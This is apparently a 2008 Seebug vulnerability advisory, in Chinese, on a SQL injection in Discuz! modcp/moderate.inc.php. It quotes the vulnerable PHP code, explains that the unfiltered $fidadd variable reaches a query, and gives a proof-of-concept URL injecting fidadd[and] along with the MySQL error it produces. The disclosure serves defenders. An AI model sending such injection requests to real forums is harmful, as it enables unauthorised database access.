Discuz! modcp/moderate.inc.php 数据库注射漏洞

2008-11-04T00:00:00
ID SSV:4396
Type seebug
Reporter Root
Modified 2008-11-04T00:00:00

Description

在文件modcp\moderate.inc.php里代码:

require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
require_once DISCUZ_ROOT.'./include/attachment.func.php';

$ppp = 10;
$page = max(1, intval($page));
$start_limit = ($page - 1) * $ppp;

$modcount = $db->result_first("SELECT COUNT(*) FROM {$tablepre}posts WHERE invisible='$pstat' AND first='0' $fidadd[and]$fidadd[fids]");
$multipage = multi($modcount, $ppp, $page, "admincp.php?action=modreplies&filter=$filter&fid=$fid");

$fidadd在moderate.inc.php没有初始化也没有过滤直接在数据库里进行select操作,导致可以进行sql注射攻击. [这个文件访问需要斑主权限 :)] 0 2008-09 www.Discuz.net

                                        
                                            
                                                http://www.80vul.com/bbs/modcp.php?action=moderate&op=replies&fid=2&fidadd[and]=1

Discuz! info: MySQL Query Error

User: admin
Time: 2008-11-3 10:51am
Script: /bbs/modcp.php

SQL: SELECT COUNT(*) FROM [Table]posts WHERE invisible='-2' AND first='0' 1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' at line 1
Errno.: 1064